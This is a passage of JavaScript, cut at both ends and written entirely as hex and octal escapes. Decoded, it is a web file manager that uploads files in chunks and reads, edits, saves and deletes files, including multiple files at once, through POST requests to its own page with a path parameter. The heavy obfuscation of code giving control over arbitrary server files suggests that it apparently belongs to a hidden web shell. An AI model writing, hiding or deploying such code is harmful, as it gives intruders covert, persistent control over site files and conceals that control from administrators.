6f\x77\156\40\145\162\x72\x6f\162\47\73\xd\xa\x20\40\40\x20\40\x20\x20\x20\x20\x20\40\40\x20\x20\40\x20\x20\x20\x20\40\40\40\40\40\151\x66\x20\50\162\145\x73\165\154\164\77\56\x64\145\142\165\147\51\x20\173\xd\12\40\x20\x20\40\x20\x20\40\x20\x20\40\40\x20\x20\40\x20\x20\40\x20\40\x20\40\x20\40\40\x20\x20\x20\x20\143\x6f\156\163\157\x6c\145\x2e\145\x72\x72\157\x72\x28\47\x55\x70\154\157\141\x64\x20\x64\145\142\x75\147\40\x69\156\146\157\72\47\x2c\40\162\145\163\x75\154\164\x2e\x64\145\142\x75\x67\x29\x3b\15\xa\40\40\40\40\40\40\40\x20\40\x20\x20\x20\x20\x20\40\x20\x20\40\x20\x20\40\40\40\40\40\40\40\x20\145\162\x72\157\162\x4d\x73\147\40\53\x3d\x20\47\x20\50\143\x68\145\x63\153\x20\143\x6f\156\163\x6f\154\x65\x20\146\157\x72\x20\144\x65\x74\x61\151\154\x73\x29\47\x3b\xd\xa\40\40\x20\40\x20\40\40\40\x20\40\x20\40\40\40\40\40\x20\x20\x20\40\40\40\x20\x20\175\xd\xa\x20\x20\40\x20\x20\40\x20\40\40\x20\x20\x20\40\x20\40\40\x20\40\40\x20\40\40\40\40\163\x68\157\167\x54\157\x61\x73\164\50\x60\x46\141\151\154\145\x64\x3a\40\44\x7b\x66\151\x6c\145\x2e\x6e\x61\155\x65\x7d\x20\55\40\44\173\145\x72\162\x6f\x72\x4d\163\x67\x7d\x60\54\40\47\145\162\x72\x6f\x72\47\x29\x3b\xd\12\x20\40\40\40\40\40\40\40\40\x20\x20\40\x20\x20\40\x20\x20\x20\40\x20\175\xd\12\x20\40\40\40\x20\40\x20\x20\40\40\x20\40\40\x20\40\40\175\x20\143\x61\x74\143\150\x20\x28\145\x72\162\x6f\x72\x29\x20\173\xd\xa\40\40\40\40\40\40\x20\40\x20\40\40\40\40\40\40\40\40\40\40\x20\x73\x68\x6f\x77\124\x6f\141\163\x74\50\x60\x4e\145\x74\167\x6f\x72\153\40\x65\x72\162\x6f\162\40\x75\160\x6c\x6f\x61\x64\151\x6e\x67\x20\44\x7b\146\151\x6c\x65\56\x6e\141\x6d\145\x7d\72\40\44\173\x65\162\162\157\162\56\x6d\x65\163\163\x61\147\145\x7d\x60\x2c\40\47\x65\x72\162\x6f\162\x27\51\73\15\xa\x20\x20\x20\40\x20\x20\40\x20\40\x20\x20\40\40\40\40\40\x20\x20\40\x20\143\x6f\156\x73\x6f\x6c\x65\x2e\145\x72\162\x6f\162\50\47\125\x70\x6c\x6f\141\x64\x20\x65\162\162\x6f\162\x3a\47\54\40\145\162\x72\157\x72\x29\73\15\12\40\40\x20\40\x20\40\x20\x20\x20\40\40\x20\x20\x20\x20\x20\x7d\xd\12\x20\40\x20\x20\x20\40\x20\40\x20\x20\40\40\x7d\15\xa\xd\xa\x20\40\x20\x20\40\40\40\x20\40\40\40\x20\151\x6e\160\165\164\x2e\x76\x61\154\x75\x65\x20\75\x20\x27\x27\73\xd\12\x20\40\x20\40\40\40\40\x20\x20\40\x20\x20\x6c\157\141\144\106\151\154\145\163\50\143\x75\x72\162\x65\x6e\164\x50\x61\x74\x68\x29\73\15\12\x20\40\x20\x20\40\40\x20\40\175\xd\xa\xd\xa\40\x20\40\x20\40\40\x20\x20\141\x73\x79\x6e\x63\x20\x66\x75\x6e\x63\x74\151\157\x6e\x20\165\x70\154\x6f\x61\x64\103\x68\165\x6e\153\145\x64\x28\146\x69\x6c\145\51\40\173\15\xa\40\x20\x20\x20\40\x20\x20\40\x20\x20\40\x20\x63\157\156\x73\x74\40\167\x72\141\160\x20\75\x20\144\157\143\x75\155\145\156\x74\x2e\x67\x65\164\x45\154\x65\155\x65\156\x74\x42\171\x49\x64\50\x27\143\150\x75\156\153\127\x72\141\x70\x27\51\73\15\xa\40\x20\x20\40\x20\x20\40\40\40\x20\x20\40\143\x6f\x6e\x73\164\x20\x62\x61\162\40\x3d\x20\x64\x6f\x63\x75\x6d\145\x6e\x74\x2e\147\x65\x74\x45\154\145\x6d\145\156\164\x42\171\111\144\50\47\143\x68\x75\x6e\x6b\102\x61\162\x27\x29\73\15\xa\x20\40\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x63\x6f\x6e\163\x74\40\164\x65\x78\x74\40\75\40\x64\x6f\143\165\x6d\145\156\x74\56\147\x65\x74\x45\x6c\x65\x6d\145\156\164\102\171\111\x64\x28\x27\x63\x68\x75\x6e\153\124\x65\x78\x74\47\x29\x3b\xd\12\40\40\x20\x20\40\40\40\x20\40\x20\40\x20\x63\157\156\163\164\40\x6e\141\155\145\40\75\x20\144\x6f\x63\x75\155\145\x6e\x74\x2e\147\x65\x74\x45\x6c\x65\x6d\145\x6e\x74\102\x79\x49\x64\x28\47\x63\x68\165\x6e\153\x46\151\154\x65\156\x61\x6d\145\47\x29\x3b\xd\12\15\12\40\x20\40\x20\40\x20\x20\x20\x20\x20\x20\x20\167\x72\141\160\56\x63\154\141\163\x73\x4c\151\x73\164\56\162\x65\155\157\166\145\50\x27\x68\151\x64\144\x65\156\x27\51\x3b\15\xa\x20\x20\x20\40\40\x20\x20\40\x20\40\x20\x20\x62\141\x72\56\163\164\x79\154\x65\x2e\167\x69\144\x74\x68\x20\75\x20\47\x30\x25\x27\x3b\15\12\40\x20\40\x20\40\x20\40\x20\40\x20\x20\x20\164\145\x78\x74\56\164\145\x78\x74\103\157\x6e\164\x65\156\164\x20\75\40\47\60\x25\47\73\xd\12\40\x20\40\x20\x20\x20\40\x20\x20\40\x20\x20\x6e\x61\x6d\145\x2e\x74\145\x78\164\103\x6f\156\164\145\x6e\x74\x20\x3d\x20\146\x69\x6c\145\56\156\141\155\145\x3b\xd\12\15\12\x20\x20\x20\x20\40\40\40\40\40\40\40\x20\x2f\x2f\x20\107\145\156\145\x72\141\x74\145\x20\x75\x6e\151\161\165\145\x20\x75\x70\154\157\x61\x64\40\111\104\x20\146\157\x72\40\164\150\x69\163\40\x75\x70\x6c\x6f\141\x64\x20\163\145\x73\163\x69\x6f\x6e\xd\xa\40\x20\40\40\x20\x20\40\40\x20\x20\x20\x20\x63\x6f\156\x73\164\x20\165\x70\154\x6f\x61\x64\x49\x64\x20\x3d\x20\47\165\160\154\157\x61\144\x5f\x27\40\53\x20\x44\x61\x74\145\x2e\156\x6f\x77\x28\x29\40\x2b\x20\x27\x5f\47\40\53\40\115\x61\x74\x68\56\162\141\156\144\x6f\155\50\x29\56\x74\x6f\123\x74\x72\x69\156\147\50\x33\66\51\56\163\x75\142\163\164\x72\50\x32\x2c\x20\71\51\73\15\xa\x20\x20\x20\x20\x20\40\x20\x20\40\x20\40\40\x63\x6f\156\x73\x74\40\x74\157\164\141\154\x20\x3d\40\115\x61\x74\150\56\143\145\151\x6c\x28\x66\x69\154\145\56\x73\x69\172\145\40\57\40\x43\x48\x55\116\113\x5f\x53\111\x5a\x45\x29\x3b\15\12\15\12\x20\x20\x20\x20\x20\40\40\x20\40\x20\x20\40\146\157\162\x20\50\154\145\164\x20\151\x20\x3d\x20\60\73\x20\x69\x20\x3c\x20\x74\157\164\x61\154\x3b\40\x69\x2b\53\51\40\173\15\xa\40\40\40\x20\x20\x20\40\x20\x20\40\x20\40\x20\x20\x20\x20\143\157\156\163\164\x20\163\x74\x61\162\x74\x20\x3d\x20\151\40\52\x20\x43\110\x55\116\113\x5f\123\111\132\105\73\xd\xa\x20\40\x20\x20\40\40\x20\x20\x20\40\40\40\40\x20\40\40\x63\x6f\x6e\x73\x74\x20\143\x68\x75\156\153\40\75\x20\146\x69\x6c\145\x2e\x73\154\x69\143\145\50\163\164\141\x72\x74\x2c\40\163\164\141\162\x74\40\53\40\x43\110\125\x4e\113\137\x53\x49\x5a\x45\51\x3b\15\xa\xd\xa\40\40\x20\x20\x20\40\x20\x20\x20\x20\40\40\40\40\40\40\143\x6f\156\163\164\x20\x66\157\162\155\x20\75\40\156\x65\x77\x20\106\157\162\x6d\104\141\164\x61\50\51\x3b\15\12\x20\x20\40\x20\40\x20\x20\x20\40\40\40\40\40\x20\40\40\146\157\x72\x6d\56\x61\160\x70\145\x6e\x64\x28\x27\x61\x63\x74\151\x6f\156\47\x2c\x20\x27\x75\x70\154\157\x61\144\137\x63\x68\x75\156\x6b\47\51\x3b\xd\xa\x20\40\x20\40\40\40\x20\40\40\x20\x20\40\x20\40\40\40\146\x6f\x72\x6d\x2e\141\160\x70\x65\x6e\144\x28\x27\x63\150\x75\x6e\x6b\47\x2c\x20\143\x68\x75\156\x6b\x29\x3b\15\xa\40\40\40\x20\40\40\40\40\40\x20\x20\x20\x20\x20\40\x20\146\x6f\x72\x6d\56\141\x70\160\145\156\x64\x28\47\143\150\x75\156\x6b\x5f\x69\156\144\145\170\x27\x2c\40\x69\x29\x3b\xd\12\40\x20\40\40\40\40\40\40\x20\40\40\40\40\x20\x20\x20\x66\x6f\162\155\x2e\141\160\x70\x65\156\144\50\x27\164\x6f\x74\x61\154\137\x63\x68\165\156\x6b\163\47\x2c\x20\164\x6f\x74\141\154\51\73\15\12\x20\x20\x20\x20\40\x20\x20\x20\40\40\40\40\x20\x20\40\40\146\157\x72\x6d\56\141\x70\160\145\156\144\x28\x27\x66\151\154\145\156\x61\x6d\145\x27\54\40\x66\x69\x6c\x65\x2e\156\x61\x6d\145\51\73\15\12\x20\40\40\40\40\40\x20\40\40\40\x20\x20\40\x20\x20\40\146\x6f\162\x6d\x2e\141\160\160\x65\156\144\50\47\160\141\164\x68\x27\54\x20\143\165\x72\x72\145\x6e\164\120\x61\x74\x68\40\x7c\174\x20\x69\156\151\x74\x69\x61\x6c\120\x61\164\150\x29\x3b\xd\xa\40\40\x20\40\x20\40\x20\40\40\x20\40\40\40\x20\x20\40\146\157\x72\155\56\141\160\160\145\x6e\144\50\47\x75\x70\x6c\157\x61\144\137\x69\144\47\54\40\x75\x70\154\x6f\141\x64\x49\x64\51\73\xd\12\15\xa\40\40\x20\40\x20\x20\40\40\40\40\40\40\x20\40\x20\40\143\157\x6e\163\x74\40\162\145\x73\x20\x3d\x20\x61\167\141\151\x74\x20\x66\145\x74\143\x68\50\47\47\x2c\x20\x7b\x20\155\145\x74\150\157\144\x3a\x20\47\120\x4f\x53\x54\x27\54\40\x62\x6f\x64\171\72\40\x66\x6f\162\155\40\x7d\x29\x3b\xd\12\40\x20\x20\40\x20\x20\40\40\40\x20\40\x20\40\40\40\40\x63\x6f\x6e\x73\x74\40\x6a\x73\157\156\40\75\40\x61\x77\141\151\164\40\x72\145\163\56\x6a\163\x6f\156\50\51\73\15\12\15\xa\x20\40\x20\x20\x20\x20\40\x20\x20\x20\40\x20\40\x20\40\40\x69\146\x20\50\x21\152\163\x6f\156\56\163\x75\143\143\x65\163\x73\x29\x20\173\15\xa\40\40\x20\x20\40\x20\x20\40\x20\40\x20\40\40\40\x20\x20\x20\x20\40\40\141\x6c\x65\162\164\50\x27\x55\160\x6c\x6f\x61\x64\x20\x63\x68\x75\x6e\153\x20\x66\x61\x69\x6c\x65\x64\x3a\x20\x27\x20\x2b\x20\x6a\163\x6f\156\x2e\155\145\x73\163\141\147\x65\x29\x3b\xd\xa\40\x20\40\x20\40\x20\x20\x20\40\x20\x20\x20\x20\40\40\x20\x20\40\40\40\x77\162\x61\160\56\x63\x6c\x61\x73\x73\x4c\x69\163\164\56\141\x64\x64\50\x27\150\x69\144\x64\145\x6e\47\x29\x3b\xd\xa\x20\40\40\x20\x20\40\x20\x20\40\x20\40\x20\x20\x20\40\40\x20\40\x20\x20\162\145\164\165\x72\156\x3b\xd\xa\40\x20\x20\x20\x20\40\40\x20\40\40\40\x20\x20\x20\40\40\175\15\12\xd\12\x20\x20\x20\x20\40\40\x20\x20\40\40\x20\x20\40\x20\40\40\x63\157\156\x73\x74\x20\160\x65\162\x63\145\156\164\40\75\40\115\141\x74\x68\56\162\157\165\156\x64\50\50\x28\x69\40\53\x20\x31\51\x20\57\40\164\157\164\141\x6c\x29\40\x2a\x20\x31\x30\x30\51\x3b\xd\xa\40\40\x20\40\40\40\x20\40\40\x20\x20\40\x20\x20\40\x20\142\x61\x72\56\163\x74\x79\154\145\x2e\167\151\x64\x74\x68\40\x3d\x20\160\145\x72\x63\145\x6e\x74\40\53\40\47\x25\47\x3b\15\12\40\x20\40\x20\x20\40\x20\40\x20\40\40\x20\40\40\40\x20\164\145\x78\164\x2e\x74\145\x78\x74\x43\157\156\x74\145\x6e\x74\40\x3d\x20\x70\x65\x72\x63\145\156\164\40\x2b\x20\x27\45\47\73\xd\12\x20\40\40\40\x20\x20\40\x20\40\40\40\x20\175\xd\xa\xd\12\40\40\x20\40\40\x20\40\x20\x20\x20\40\x20\164\145\x78\164\x2e\x74\145\170\x74\103\157\156\x74\145\x6e\164\x20\x3d\40\x27\x44\x6f\x6e\x65\x27\73\xd\12\xd\12\40\x20\40\x20\x20\40\40\40\x20\x20\x20\40\163\x65\164\x54\151\155\145\x6f\x75\164\x28\x28\x29\x20\x3d\76\x20\x7b\15\12\40\x20\40\40\40\x20\x20\x20\40\40\40\40\x20\x20\x20\x20\167\x72\x61\x70\x2e\x63\154\141\163\x73\114\x69\x73\x74\56\x61\144\144\50\x27\x68\151\x64\x64\x65\156\47\x29\x3b\15\xa\40\x20\x20\x20\x20\40\40\40\40\x20\x20\x20\x20\40\x20\40\x6c\157\x61\x64\106\151\x6c\x65\163\50\x63\165\x72\x72\x65\156\x74\120\x61\164\x68\x20\x7c\174\40\x69\x6e\x69\164\x69\x61\x6c\x50\141\x74\150\x29\73\40\x2f\57\x20\xf0\x9f\224\245\40\101\125\124\117\40\122\105\x46\x52\x45\123\x48\x20\x46\111\114\x45\x20\114\x49\123\124\xd\12\40\40\40\40\x20\x20\40\40\40\x20\40\x20\175\54\40\x36\x30\60\x29\x3b\xd\xa\x20\40\x20\x20\40\40\40\40\x7d\xd\xa\15\12\40\40\40\40\x20\40\x20\x20\x61\163\171\x6e\x63\40\x66\165\x6e\x63\164\x69\157\156\40\145\144\x69\164\106\151\154\145\50\x6e\141\155\x65\x29\x20\x7b\15\12\40\x20\40\40\40\40\40\x20\x20\40\40\40\x63\157\156\163\164\40\162\x65\x73\40\75\x20\x61\167\x61\x69\x74\x20\x61\152\x61\170\x28\47\162\145\141\144\x27\x2c\40\x7b\x20\x66\151\x6c\x65\x3a\x20\x6e\x61\x6d\x65\x20\x7d\51\73\15\12\x20\x20\x20\40\40\x20\x20\40\40\40\x20\40\x69\146\40\50\x72\145\x73\40\x26\x26\x20\x72\x65\x73\x2e\163\x75\143\143\145\163\x73\51\40\173\15\12\x20\40\40\x20\x20\x20\x20\40\40\40\40\x20\40\x20\40\x20\144\157\143\x75\x6d\145\156\x74\x2e\147\x65\x74\105\x6c\x65\155\145\156\x74\x42\171\111\144\x28\47\145\144\x69\164\x46\x69\154\145\x4e\141\x6d\x65\x27\x29\56\164\145\170\x74\x43\x6f\156\x74\x65\156\164\x20\x3d\x20\156\x61\155\x65\73\xd\12\40\x20\40\40\40\40\40\x20\40\40\40\x20\40\x20\40\x20\144\157\143\165\155\x65\x6e\x74\56\x67\x65\x74\x45\x6c\x65\155\x65\x6e\x74\x42\171\111\x64\x28\47\146\x69\x6c\145\103\x6f\156\x74\x65\156\x74\47\51\56\166\x61\x6c\x75\145\40\x3d\x20\x72\145\x73\x2e\143\157\x6e\164\x65\x6e\164\x3b\xd\xa\40\x20\x20\40\40\40\40\40\x20\40\x20\40\40\40\40\40\143\165\162\162\145\x6e\164\x45\x64\151\164\106\151\x6c\x65\40\x3d\40\x6e\x61\155\x65\73\xd\xa\40\x20\x20\x20\40\40\40\x20\x20\40\x20\40\40\40\40\x20\163\x68\157\167\x4d\157\144\x61\x6c\50\x27\145\144\151\x74\x4d\157\144\141\x6c\47\x29\x3b\xd\12\40\40\40\x20\x20\x20\x20\40\40\40\x20\40\175\40\x65\x6c\x73\145\40\163\150\157\x77\x54\157\x61\x73\x74\50\162\145\163\x3f\x2e\155\145\163\x73\x61\x67\x65\x20\x7c\174\40\47\x46\141\151\x6c\x65\144\x20\164\157\40\x72\145\x61\x64\40\146\x69\154\x65\x27\54\40\x27\145\x72\x72\157\162\x27\x29\x3b\15\xa\40\x20\40\40\40\40\x20\x20\175\15\xa\xd\xa\40\40\40\x20\40\40\x20\40\141\x73\x79\156\143\40\x66\165\156\143\x74\151\x6f\x6e\x20\x73\141\x76\x65\x46\151\154\x65\50\x29\x20\173\xd\xa\x20\x20\40\40\x20\40\40\40\x20\40\x20\x20\x63\x6f\156\163\164\x20\143\x6f\156\x74\x65\156\x74\40\75\40\x64\x6f\x63\165\155\x65\156\164\56\x67\x65\x74\x45\x6c\145\155\x65\156\x74\x42\171\x49\144\50\x27\146\151\x6c\145\x43\157\156\164\x65\156\x74\x27\x29\x2e\x76\x61\x6c\x75\x65\x3b\15\xa\15\12\40\x20\40\40\40\40\x20\x20\x20\40\x20\40\x2f\x2f\40\125\x73\x65\x20\106\157\x72\x6d\x44\x61\164\x61\40\x66\157\162\40\142\145\x74\x74\145\162\40\x63\x6f\x6e\164\145\x6e\164\x20\150\141\x6e\x64\x6c\x69\x6e\147\40\50\141\166\x6f\151\x64\x73\x20\x55\122\x4c\x53\x65\141\162\143\x68\x50\141\x72\x61\x6d\163\x20\145\156\143\157\144\x69\x6e\x67\x20\x69\x73\x73\x75\145\163\51\xd\xa\x20\x20\x20\x20\40\x20\x20\40\x20\40\40\x20\x63\x6f\x6e\x73\x74\x20\x66\x6f\162\x6d\104\141\x74\x61\x20\x3d\40\x6e\x65\167\40\x46\157\162\155\104\x61\x74\141\x28\x29\73\xd\xa\x20\40\x20\x20\40\x20\40\40\40\40\40\40\x66\157\x72\x6d\x44\x61\164\x61\x2e\141\160\x70\x65\156\144\50\x27\x61\x63\x74\151\157\156\x27\x2c\40\47\x73\141\x76\x65\x27\51\73\15\12\40\x20\x20\x20\x20\x20\x20\40\x20\40\x20\x20\x66\157\162\155\104\141\164\x61\x2e\141\x70\x70\x65\156\144\50\47\x70\x61\x74\x68\47\54\x20\143\165\x72\x72\x65\x6e\x74\x50\141\x74\x68\x20\x7c\x7c\40\x69\x6e\151\x74\x69\141\154\120\x61\164\x68\x29\73\xd\12\40\40\40\40\40\x20\40\x20\40\40\x20\40\x66\x6f\x72\x6d\104\141\x74\x61\x2e\x61\160\160\x65\156\x64\50\47\x66\151\154\145\x27\x2c\40\x63\165\x72\x72\x65\156\164\x45\x64\151\164\x46\x69\x6c\145\x29\73\xd\12\x20\x20\x20\40\40\40\x20\x20\40\x20\x20\40\146\x6f\162\155\x44\141\164\x61\x2e\141\160\x70\145\156\x64\x28\x27\143\x6f\156\x74\145\156\164\47\54\40\143\x6f\x6e\164\x65\156\x74\x29\73\xd\xa\15\xa\40\40\x20\40\40\x20\x20\x20\x20\40\x20\40\x74\162\171\40\x7b\15\xa\40\x20\x20\40\x20\40\40\x20\x20\40\x20\x20\x20\40\x20\40\143\x6f\156\x73\x74\x20\x72\145\x73\160\x6f\156\x73\145\x20\75\40\x61\167\x61\x69\x74\x20\146\145\x74\143\x68\x28\x27\x3f\47\54\40\173\15\xa\x20\40\x20\40\x20\x20\x20\x20\x20\x20\40\x20\40\x20\40\x20\x20\40\x20\x20\x6d\145\164\150\x6f\x64\x3a\40\47\x50\117\x53\124\47\x2c\15\12\x20\40\x20\40\x20\x20\40\40\x20\x20\40\x20\x20\x20\x20\x20\x20\x20\40\40\142\x6f\x64\171\72\40\146\157\162\155\104\x61\164\141\15\xa\x20\x20\x20\x20\x20\x20\x20\40\40\x20\40\40\40\x20\40\x20\175\x29\73\xd\xa\15\xa\x20\40\40\40\40\40\40\40\x20\40\40\40\x20\40\x20\40\x63\157\156\x73\x74\x20\x72\145\x73\x20\75\40\x61\167\x61\x69\x74\x20\162\145\163\x70\157\x6e\163\145\56\152\x73\157\156\50\51\73\15\xa\15\12\x20\40\40\40\x20\x20\40\x20\40\x20\40\40\x20\x20\40\40\x69\x66\40\50\x72\145\163\40\x26\46\40\x72\x65\163\x2e\163\165\x63\143\145\163\x73\x29\x20\x7b\xd\xa\x20\x20\x20\x20\40\x20\x20\x20\40\x20\40\40\x20\x20\x20\x20\x20\x20\x20\40\x73\x68\x6f\x77\x54\157\x61\163\x74\50\x27\106\x69\154\x65\40\x73\141\166\145\144\x20\x73\x75\143\x63\145\163\163\146\165\154\x6c\x79\x20\50\47\40\x2b\x20\50\162\x65\163\56\x62\171\164\x65\163\x20\174\174\x20\x30\51\x20\53\x20\x27\x20\x62\x79\x74\145\163\x29\47\51\73\xd\xa\x20\x20\x20\40\x20\40\40\40\x20\x20\x20\40\x20\x20\x20\x20\40\40\x20\x20\x63\154\157\x73\x65\x4d\157\x64\141\154\50\47\145\144\151\x74\x4d\157\x64\x61\x6c\x27\51\x3b\xd\xa\40\x20\x20\x20\x20\x20\x20\40\x20\x20\40\x20\x20\40\x20\40\40\x20\x20\40\x6c\x6f\141\144\106\x69\x6c\145\163\x28\x63\165\162\x72\145\156\x74\120\x61\164\x68\51\x3b\15\xa\40\x20\x20\x20\x20\x20\40\40\40\x20\x20\40\40\x20\x20\40\175\x20\x65\x6c\163\x65\x20\173\xd\xa\40\40\x20\x20\40\40\40\x20\40\x20\x20\40\x20\40\40\x20\40\40\x20\x20\163\150\x6f\x77\124\x6f\141\163\x74\x28\162\145\163\x3f\x2e\x6d\145\163\x73\141\147\x65\40\x7c\x7c\40\x27\x46\141\x69\154\145\x64\40\164\157\40\x73\x61\166\145\x20\x66\x69\154\x65\47\x2c\x20\x27\x65\162\162\157\162\47\x29\x3b\15\12\40\40\x20\40\x20\x20\40\40\40\x20\x20\40\40\40\x20\x20\175\xd\xa\40\x20\40\40\x20\x20\x20\x20\40\40\40\x20\175\x20\x63\141\x74\x63\x68\40\50\x65\51\40\173\xd\xa\40\40\40\x20\40\40\x20\x20\40\40\40\x20\40\x20\x20\x20\163\x68\x6f\x77\124\x6f\x61\163\x74\x28\x27\103\157\156\x6e\145\x63\164\151\x6f\156\40\145\162\x72\157\162\72\x20\x27\x20\53\x20\145\56\x6d\x65\163\163\141\x67\145\54\x20\47\x65\162\x72\x6f\x72\47\51\73\15\xa\x20\40\x20\40\x20\x20\40\40\40\40\x20\x20\x7d\xd\12\x20\40\x20\40\x20\x20\x20\40\175\xd\xa\xd\xa\x20\x20\x20\40\40\x20\x20\x20\x66\x75\156\143\x74\151\x6f\x6e\x20\x64\x65\x6c\145\x74\145\x46\x69\154\145\50\x6e\141\155\x65\51\40\x7b\xd\xa\x20\x20\x20\40\x20\x20\40\40\40\x20\x20\40\x64\157\143\x75\155\145\156\x74\56\147\145\164\105\x6c\145\x6d\145\156\x74\102\171\111\x64\x28\47\143\x6f\156\x66\x69\162\155\115\x65\x73\x73\x61\x67\145\47\51\x2e\x74\x65\170\x74\103\x6f\x6e\164\145\x6e\x74\x20\x3d\40\140\101\162\145\x20\x79\x6f\x75\40\x73\165\162\145\40\171\x6f\x75\40\x77\141\156\164\x20\164\157\40\144\x65\x6c\145\x74\x65\x20\42\x24\x7b\x6e\141\155\x65\x7d\x22\77\140\x3b\15\xa\x20\x20\x20\x20\40\x20\40\x20\x20\x20\40\x20\x64\x65\154\x65\x74\145\103\x61\x6c\x6c\x62\x61\143\x6b\x20\x3d\40\141\163\171\x6e\143\x20\x28\x29\40\x3d\x3e\40\x7b\15\xa\40\40\x20\x20\x20\40\x20\x20\40\x20\40\x20\40\40\x20\x20\143\x6f\156\163\164\40\162\145\x73\40\x3d\40\x61\x77\x61\x69\164\x20\141\x6a\x61\x78\50\47\x64\145\x6c\145\x74\145\47\54\40\x7b\40\x66\x69\x6c\x65\x3a\x20\x6e\x61\155\145\40\175\x29\x3b\15\xa\40\40\x20\x20\40\40\40\40\x20\x20\40\40\x20\x20\40\40\x69\x66\x20\x28\x72\145\x73\40\x26\46\40\x72\145\163\x2e\163\165\143\143\x65\163\163\x29\40\x7b\15\xa\x20\40\40\x20\x20\x20\40\40\40\x20\40\x20\40\40\x20\x20\40\x20\40\x20\x73\x68\157\x77\x54\x6f\141\x73\164\50\x27\x44\x65\x6c\145\164\x65\x64\x20\x73\165\x63\143\145\163\x73\x66\x75\154\x6c\x79\47\x29\x3b\xd\xa\40\x20\x20\40\x20\40\x20\40\x20\x20\x20\40\40\x20\40\40\40\40\x20\40\143\154\157\163\x65\115\x6f\x64\x61\154\x28\47\x63\x6f\x6e\146\x69\x72\155\x4d\x6f\x64\x61\x6c\47\x29\73\xd\xa\40\40\40\40\x20\x20\x20\40\x20\40\40\40\40\40\x20\x20\x20\40\40\40\x6c\x6f\x61\144\106\x69\154\145\x73\50\143\x75\162\x72\x65\156\x74\120\x61\x74\x68\51\x3b\15\xa\x20\x20\40\x20\x20\x20\x20\40\x20\x20\x20\40\40\x20\40\x20\175\x20\145\154\x73\x65\40\x73\x68\x6f\167\124\157\x61\x73\x74\x28\x72\x65\x73\77\56\x6d\x65\163\163\x61\x67\x65\x20\174\x7c\x20\x27\106\141\151\x6c\x65\144\x20\164\x6f\40\x64\145\154\145\x74\145\x27\x2c\40\x27\x65\162\162\157\x72\x27\51\x3b\15\xa\x20\40\x20\x20\x20\x20\40\40\40\40\x20\x20\x7d\73\xd\xa\x20\x20\x20\40\40\x20\40\x20\40\x20\40\x20\163\x68\x6f\x77\115\157\x64\141\154\x28\47\143\x6f\x6e\x66\x69\x72\x6d\115\x6f\144\141\x6c\x27\51\73\15\12\x20\40\x20\40\40\x20\x20\40\x7d\15\xa\xd\xa\x20\40\40\40\40\x20\40\x20\x66\165\x6e\143\164\151\157\x6e\x20\144\x65\x6c\x65\164\145\x53\145\x6c\x65\143\x74\x65\x64\50\x29\40\173\xd\xa\40\40\40\40\x20\40\x20\x20\40\x20\40\x20\151\146\40\x28\41\163\x65\x6c\145\x63\164\145\x64\x49\x74\145\x6d\163\56\x6c\x65\156\147\x74\x68\x29\40\162\145\164\x75\x72\x6e\73\15\12\x20\40\40\x20\x20\40\x20\x20\x20\40\40\40\x64\157\x63\165\x6d\x65\156\x74\x2e\147\145\x74\x45\x6c\145\x6d\x65\156\x74\102\x79\x49\144\x28\x27\143\157\156\146\x69\162\155\115\145\x73\163\141\x67\x65\x27\51\x2e\x74\145\x78\164\103\x6f\156\164\x65\156\x74\x20\75\15\12\x20\x20\x20\40\40\40\x20\40\x20\x20\40\x20\x20\x20\40\40\140\101\x72\145\40\171\x6f\165\40\x73\165\162\x65\40\x79\157\x75\x20\167\141\x6e\x74\40\164\157\x20\x64\145\154\x65\x74\145\x20\x24\x7b\x73\x65\154\x65\143\164\145\x64\111\164\x65\x6d\x73\x2e\x6c\x65\x6e\x67\x74\x68\175\x20\x69\x74\x65\x6d\x28\x73\51\x3f\x60\73\15\12\40\x20\40\40\40\x20\40\x20\40\40\x20\x20\144\145\154\x65\164\x65\103\x61\154\x6c\142\x61\x63\153\40\x3d\x20\141\163\x79\x6e\143\40\x28\51\40\x3d\x3e\40\173\xd\xa\x20\40\40\40\40\40\x20\x20\40\x20\x20\40\x20\40\40\40\143\x6f\x6e\x73\x74\x20\162\x65\x73\40\x3d\40\x61\x77\141\x69\x74\x20\x61\x6a\141\x78\x28\x27\144\x65\x6c\145\164\145\137\x6d\165\154\x74\x69\x70\154\x65\x27\x2c\x20\173\40\x66\151\154\x65\163\72\40\x73\145\154\x65\143\164\145\x64\x49\x74\x65\x6d\x73\x2e\x6a\x6f\x69\x6e\50\x27\54\47\x29\x20\x7d\51\73\xd\xa\x20\40\40\x20\40\40\40\40\x20\40\40\40\40\40\40\40\151\146\x20\50\162\145\x73\x20\46\x26\x20\x72\145\163\56\163\x75\x63\143\145\163\x73\51\40\x7b\15\xa\x20\x20\40\40\40\x20\x20\x20\40\x20\40\x20\40\40\40\40\x20\40\x20\x20\163\x68\x6f\x77\124\157\x61\x73\x74\x28\47\x49\164\x65\x6d\x73\x20\144\x65\154\145\x74\x65\x64\x20\163\x75\x63\143\x65\x73\x73\x66\x75\154\154\x79\47\x29\x3b\xd\xa\x20\40\40\40\40\40\x20\40\x20\40\x20\x20\40\x20\40\x20\x20\40\40\40\143\154\x6f\x73\x65\x4d\x6f\x64\141\154\50\x27\143\x6f\156\x66\151\162\155\115\x6f\144\x61\154\x27\51\x3b\15\12\40\x20\x20\40\x20\x20\x20\40\x20\x20\40\x20\x20\40\40\x20\x20\40\x20\40\154\x6f\141\144\106\151\x6c\x65\163\x28\x63\x75\x72\162\x65\156\x74\120\x61\164\150\51\x3b\xd\xa\40\x20\40\x20\x20\x20\x20\40\x20\40\x20\x20\40\x20\x20\x20\175\x20\x65\x6c\163\145\x20\163\150\x6f\x77\124\x6f\x61\x73\164\50\162\145\x73\77\x2e\x6d\145\163\163\141\x67\145\40\x7c\174\x20\47\106\x61\x69\154\x65\x64\x20\164\157\40\x64\145\154\x65\164\x65\40\x69\x74\x65\155\163\x27\x2c\40\x27\x65\162\162\x6f\x72\x27\51\x3b\15\xa\40\x20\x20\x20\x20\40\x20\40\x20\40\x20\x20\x7d\x3b\xd\12\x20\40\x20\40\40\40\40\40\x20\40\40\x20\163\x68\157\x77\115\157\x64\141\x6c\50\47\x63\x6f\156\x66\x69\x72\155\x4d\157\x64\141\154\x27\51\x3b\15\xa\40\40\40\x20\40\40\40\40\175\15\12\xd\xa\x20\x20\40\40\x20\40\x20\x20\x66\x75\156\x63\x74\x69\157\x6e\40\143\x6f\x6e\146\151\x72\x6d\x44\x65\x6c\145\x74\x65\50\x29\x20\x7b\xd\xa\40\x20\40\x20\x20\40\40\40\40\x20\40\40\151\x66\40\x28\144\145\x6c\x65\164\145\103\x61\154\154\142\141\x63\x6b\51\x20\x7b\4